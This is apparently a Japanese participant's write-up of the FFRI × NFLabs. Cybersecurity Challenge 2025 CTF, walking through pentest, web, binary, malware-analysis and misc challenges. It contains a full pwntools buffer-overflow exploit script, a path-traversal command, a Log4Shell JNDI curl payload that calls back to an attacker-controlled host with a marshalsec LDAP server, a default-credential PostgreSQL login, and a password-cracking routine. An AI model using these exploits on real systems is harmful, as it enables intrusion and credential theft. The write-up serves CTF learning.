今回、FFRI × NFLabs. Cybersecurity Challenge 2025に参加しました!
76人中、26位で、Miscは全問フラグを取得することができました!
FFRI様、NFLabs.様、本CTFを開催していただきありがとうございました!
この記事では、FFRI × NFLabs. Cybersecurity Challenge 2025 の結果報告 & Writeupを書いておきます。
解けた問題と解けそうだったけど、ダメだった問題も含め、載せておきます。
Solved
Welcome
Welcome (66 solves)
そのまま、フラグがあるので入れるだけです。
Pentest
HiddenService (50 solves)
nmapでポートスキャンするとこうなります。
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9f:41:af:9f:c1:21:1f:5d:4d:b6:c6:35:27:3b:01:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEvRflsDW8Qm870QrUp9qMdoi9FPgvhToWxR6EHcPZpnae8QayYAtqKv/SlM1BgkLpgPSHdhsFRZ+jecTzE4B60=
| 256 f4:8f:a5:08:f3:0e:65:45:93:58:70:90:83:f1:93:fd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGrYbuQ0MGDW0FPzHkAfvB9w6vaab5r8zkvy1UREQBu9
31337/tcp open http syn-ack ttl 63 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Sh4d0w Sh311
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.58 (Ubuntu)
その後、31337ポートで問題URLにアクセスし、OSコマンドがそのまま使えるため、以下を使用し、フラグを取得しました。
cat ../../../flag.txt
Web Exploitation
Secure Web Company (41 solves)
事前に配布されたzipファイルから、README.mdにフラグが入っていることを確認し、以下にアクセスし、ダウンロードする。
http://TARGET_IP:TARGET_PORT/README.md
中身を見るとフラグが確認できました
# 開発者向け
## 管理画面認証情報
- ユーザー名: admin
- パスワード: flag{XXXXXXXXXXXXXXXXXXXXXXXX}
Malware Analysis
Downloader (45 solves)
この問題は少し、特殊で通信先URLをそのまま回答し、flag{}は不要の問題となっています。
- Downloader.zipをダウンロードし、解凍する
- Downloader.exeが入っているため、表層解析で、以下を使用した。
strings Downloader.exe
そうすると、通信先URLをすぐに見つけられた
http://XXX.XX.XX.XXX/x2hZq0XMZro0
Acrobatics (37 solves)
- Acrobatics.zipを解凍する
- 以下の表層解析を行う
strings invoice.pdf
その結果、興味深いコードがありました。
/S /JavaScript
/JS (var\040\137d\040\075\040\13389\054111\054117\054114\05432\054102\054108\05497\054103\05432\054105\054115\05458\05432\054\040\04090\054109\054120\054104\05490\05451\054116\054119\05490\05471\05490\054102\05497\054109\054\040\04070\05450\05489\05488\05478\054106\05499\054109\054108\054119\054100\05470\05457\054116\054\040\04089\05487\054100\054112\05489\05451\05448\05461\135\073app\056alert\050String\056fromCharCode\056apply\050null\054\040\137d\051\051\073)
このJavaScriptコードにおいて、10進数(decimal, ASCIIコードの数値配列)をコード変換できると予想し、変換しました。
var _d = [89,111,117,114,32,102,108,97,103,32,105,115,58,32,90,109,120,104,90,51,116,119,90,71,90,102,97,109,70,50,89,88,78,106,99,109,108,119,100,70,57,116,89,87,100,112,89,51,48,61];
console.log(String.fromCharCode.apply(null, _d));
console.log(atob("ZmxhZ3twZGZfamF2YXNjcmlwdF9tYWdpY30="));
上記のbase64コードをデコードするとフラグが得られます。
flag{XXXXXXXXXXXXXXXXXXXX}
Binary Exploitation
Abnormal (42 solves)
整数オーバーフローを狙うために、ソードを-9999個を売りまくることで、金額がプラスに変わり、それでFLAGを購入することで、フラグを得られました。
Jump (37 solves)
以下のPoCを使用した。
#!/usr/bin/env python3
# exploit.py
# Usage: python3 exploit.py <TARGET_IP>
# Requires: pwntools (pip install pwntools)
import sys
from time import sleep
from pwn import remote, p32, context
# 設定
context.log_level = "info"
context.arch = "i386" # 問題文に従って i386
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <TARGET_IP>")
sys.exit(1)
HOST = sys.argv[1]
PORT = 8102
# 問題文にある固定アドレス
PRINT_FLAG_ADDR = 0x21466F42
# 探索レンジ(必要に応じて拡張)
OFFSET_START = 16
OFFSET_END = 1024
STEP = 1 # 初めは 1 にして細かく試すか、速さ優先なら 4 に
# フラグ判定に使うキーワード
FLAG_KEYWORDS = [b"FLAG", b"flag", b"CTF", b"Here is", b"Congrat", b"FLAG{" , b"flag{" ]
# サービスに接続して同期→ペイロード送信→応答受け取り
def try_payload(pad_len):
try:
io = remote(HOST, PORT, timeout=5)
except Exception as e:
print(f"[!] connect error: {e}")
return None, None
# まずバナーやメニューを少し受け取って同期をとる(プロンプトがあるならそれまで受け取る)
try:
# もしプロンプトが "> " ならそれまで待つ
banner = io.recvuntil(b"> ", timeout=1)
except Exception:
# タイムアウトやプロンプトが無ければ一度だけ受け取る
try:
banner = io.recv(timeout=1)
except Exception:
banner = b""
# デバッグ用に最初のバナーを表示(短め)
if banner:
preview = banner[:200].replace(b"\n", b"\\n")
# ログレベル info で出力されるのでprintは控えめ
# print("[banner]", preview)
padding = b"A" * pad_len
payload = padding + p32(PRINT_FLAG_ADDR)
# サービスが対話で複数回入力を求める場合があるため、
# 場合によっては追加のrecv/sendが必要(ここでは単純に一回送る)
try:
io.sendline(payload)
except Exception as e:
io.close()
return None, None
# 送ったあとのレスポンスを受け取る(十分長めに)
try:
data = io.recvall(timeout=2)
except Exception:
try:
data = io.recv(timeout=2)
except Exception:
data = b""
io.close()
return payload, data
def looks_like_flag(data):
if not data:
return False
for kw in FLAG_KEYWORDS:
if kw in data:
return True
return False
def main():
print(f"[+] Target {HOST}:{PORT}, trying to jump to 0x{PRINT_FLAG_ADDR:08x}")
for pad in range(OFFSET_START, OFFSET_END+1, STEP):
print(f"[>] pad={pad:4d}", end=" ... ", flush=True)
payload, resp = try_payload(pad)
if resp is None:
print("connect fail")
continue
preview = resp[:200].replace(b"\n", b"\\n")
print(f"resp_len={len(resp)} preview={preview!r}")
if looks_like_flag(resp):
print("\n[!!!] Found possible flag output:\n")
try:
print(resp.decode(errors="ignore"))
except Exception:
print(resp)
# save payload for replay
with open("last_payload.bin", "wb") as f:
f.write(payload)
print(f"[+] Saved payload to last_payload.bin (pad={pad})")
return
sleep(0.05)
print("\n[-] Not found. Try expanding OFFSET range, increase timeout, or examine binary locally with gdb.")
if __name__ == "__main__":
main()
Misc 完答
Bellaso (49 solves)
- Bellaso.zipをダウンロードする
- そのzipファイルの中には、cipher.txtとkey.txtが存在していました
ここで、暗号の典型問題として、Vigenere暗号が考えられ、以下のツールでデコードすると解読できました。
Hamburger (21 solves)
以下の手順でsecret.txt
の文字列を特定しました。
-
「2024年8月のある日、株式会社エヌ・エフ・ラボラトリーズの社員である私たちは、とあるカフェでハンバーガーを食べていました。」
という文から、エヌ・エフ・ラボラトリーズのサイトのブログサイトを散見すると、2024/8/8 ~ 2024/8/11の間、ラスベガスでDEFCONがあり、「Cafe 325」でハンバーガーを食べている記事があることを確認しました。
-
「後日、株主会社のMさんが、私たちがそのカフェを訪れた日の2日前に、同カフェから半径6km以内の会場で開催されたイベントで講演していたことを知りました。」
そこで、そのカフェから、約半径6km以内の会場を探すために、以下のようにGoogle Chromeで検索した。
2024 8/7 ラスベガス イベント
(8/7はハンバーガーの記事が上げられた日付の二日前)
検索結果として、近くで「Black Hat USA 2024」が開催されていたことを確認しました
また、Google Map上でも半径6km以内にあることも一応確認しました。
3. 「別会社のMさん」が株式会社LACの社員が世界最大級の国際セキュリティカンファレンス「Black Hat USA 2024」に参加し、Arsenalに登壇していたのを確認し、散策したところプレゼンがなかったため、正直、悩みました。
4. いろいろ調べたら、過去のイベントのアーカイブを見てみると、LACというのは手違いで、以下のURLにプレゼンが入っており、ここでsecret.txt
を見つけることができました。
Lamp (39 solves)
- Lamp.zipをダウンロードし、解凍する
- 以下のコードが得られました
from machine import Pin
import time
led = Pin(18, Pin.OUT)
while True:
led.value(1)
time.sleep(1)
led.value(0)
time.sleep(1)
以下のリンクから、led = Pin(18, pin.OUT)
はGP18をインポートし、それ物理ピンに割り当てられているため、問題URLに24
を入力するとフラグを得ることができる
Salted Hash Hunt (33 solves)
- salted-hash-hunt.zipをダウンロードし、解凍した
- ヒントに従い、最初に System B のデータからターゲットユーザー matsuki のフィンガープリントを見つけました。
以下の情報を取得しました
fingerprint | username |
---|---|
04dc9 | matsuki |
3.rockyou.txt
を以下のプログラムでSHA1にハッシュ化しました
# hash_words.py
import hashlib
infile = "rockyou.txt"
outfile = "hashed_rockyou.txt"
with open(infile, "r", encoding="utf-8", errors="ignore") as inf, \
open(outfile, "w", encoding="utf-8") as outf:
for line in inf:
word = line.rstrip("\r\n")
if not word:
continue
h = hashlib.sha1(word.encode("utf-8")).hexdigest()[:5]
outf.write(f"{word}:{h}\n")
4. 得られたhashed_rockyou.txtをVimで開き、検索機能でゴリ押しで探して、平文パスワードを特定しました。
Not Solved, but I try harder
Pentest
Shell4Solr (16 solves)
「apache solr 8.11.0 vulnerability poc」と検索し、以下のPoCが存在していたため、検証することにした。
curlを叩く感じ、PoCの解説通りにレスポンスがあったため、これっぽいなと判断しました
curl 'http://TARGET_IP/solr/admin/cores?foo=$\{jndi:ldap://MY_IP:1234\}'
リッスン側
nc -vnlp 1234
listening on [any] 1234 ...
connect to [MY_IP] from (UNKNOWN) [TARGET_IP] 60572
0
`�
以下のコマンドでLDAPの環境構築しました
$ sudo apt install maven
$ mvn clean package -DskipTests
LDAP Server
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://MY_IP:8000/#Exploit"
しかし、状況でcurlを実行してもシェルが取得できなかったため、断念した。
Center (9 solves)
- Nmapを使用し、ポートスキャンを行った
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ec:a1:6c:a4:a3:cf:38:84:ac:75:c2:a6:37:b9:0e:da (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCMT3lUWXhiqYTqI4U6j5TljeWSiY5IsEw2Kw5jU8eLR7xqrLz/T30ovO7j4eDHB3hhwxfyz9Wh/mw9SezgHLJ0=
| 256 1a:71:7b:f3:43:8e:3b:77:5a:41:c3:fd:a3:84:dd:6b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGVpI4DWq2YzhcEa4XuziLi8sSkmNJvK6/eTWMjLZXlG
5432/tcp open postgresql syn-ack ttl 63 PostgreSQL DB 9.6.0 or later
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ayumi
| Subject Alternative Name: DNS:ayumi
| Issuer: commonName=ayumi
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-13T18:53:07
| Not valid after: 2035-06-11T18:53:07
| MD5: 7bde:c273:80c6:0c72:b55c:8681:464f:21e9
| SHA-1: ee2c:abba:6281:ee09:2e70:1cde:2c6f:358a:250b:acbd
| -----BEGIN CERTIFICATE-----
| MIIC7DCCAdSgAwIBAgIUZuKq1vhVccw12RvSyOgKZar2auMwDQYJKoZIhvcNAQEL
| BQAwEDEOMAwGA1UEAwwFYXl1bWkwHhcNMjUwNjEzMTg1MzA3WhcNMzUwNjExMTg1
| MzA3WjAQMQ4wDAYDVQQDDAVheXVtaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
| AQoCggEBAK1cu3xeQ03MwJ/pWNojOFFOmYS1NvUqT9/M92XZSVsGy0HQJhunRkTJ
| LuVFrA+84NMDzg/kKEFIsGN/ZH9z9xfO9YgIxeLvMOb88HWaY0K+OUHAlJttg7mO
| rW/HrykEYx10X1qotDNClMxteiyTIiWCQ/u9yEJXvVDW0yjSf25MNaKnhP03oYPN
| 4VL/afTl6BlNPAxr8PH4LwN6E8PP4pT/bSRnUag9GV6VZ+/dwN/aYOoxQcKO0XEc
| 1n/lVI62wEZsPKdw4wE3hQ71Eewxk9uFZgLtPPMJdXbKcqcv0ngwuoCk6vL2fg1V
| WZVPWIJkQ42zzOiWQJnuUsOeyjrGgWsCAwEAAaM+MDwwCQYDVR0TBAIwADAQBgNV
| HREECTAHggVheXVtaTAdBgNVHQ4EFgQUZz/+LPFmrym3m1c8D5JZoMdandAwDQYJ
| KoZIhvcNAQELBQADggEBAAhdd/bKjGtR1+92+f56jy/Axo5JR0c/uTN1bUpBGDCI
| 5zhLUjKfmQqKW3GMYmvzB/GTo0mWZ70mYurlgcDV51Xu6hJwQmfV4s/wwIHX8+c4
| IP7cDyjcwxSP4H7rHA/RPPLJpz49OZTM0JGuvLfJ6ysdDYxzk4T29jEGcBYuzr9o
| jN4vgj1vgi9WeWEmAfa5cnBhYfFzsGbFYT9PiSFfe/ARyIkGnaMcIr9uPf02yATi
| w0gHNG0/OBDf6C2K67nrSn0Er7mEXJuARhV/nN3FvmYNxvSVLy+aEb6frNKQgtuh
| /IyonG4CaRjbSUyMcEKbU4UhNjFRSK5HTHYlgPJcGlE=
|_-----END CERTIFICATE-----
2.このスキャンの結果から、PostgreSQLのポートが開いていたため、以下を実行した。
psql -h <target-ip> -p 5437 -U postgres -W postgres
3.すると簡単にPostgreSQLに侵入できました。
4. そこで、usersのテーブルから以下の情報を取得しました。
1 azami glasses2world 2025-06-13 18:56:27.179336+00
(テーブルのデータはusers.txtというファイルにエクスポートしています)
5.以下のPoCでPostgreSQLにリバースシェルをしました
しかし、サーバー内の中を調べてもユーザー権限昇格できる情報がなく、断念しました。
Web Exploitation
Timecard (25 solves)
アクセスしたところ、備考にXSSがあることがわかりましたが、肝心のフラグ取得の仕方がよくわからず、解けませんでした。
(すんません。ただカスなだけです)
感想
今回は、CTFの参加は2回目ですが、やはり、WebとPentestが弱いことに気づきました。HackTheboxやTryHackMeをかなりやっていましたが、まだスクリプトキディなのでしょう
もう少し、WebとPentestだと、HacktheBoxではHard以上、Web Security Academyでは全ラボクリアすると、改善されそうかなと思いました。
今後の予定
誰も興味ないかもしれませんが、一応今後やりそうなことを書いておきます。
ご興味あれば、参考になると幸いです。
- P3NFEST Bug Bounty 2025 Summerで深刻レベルを報告する
- CVE発見
- Windows インターナル完読
- 脆弱性診断士かセキュリティが関わりそうなエンジニアのアルバイトに申し込む
- CTF・HackTheBox・Web Security Academyの鍛え直し
- 藝苑祭のWebデザイン開発
これらを志して、取り組もうと思います。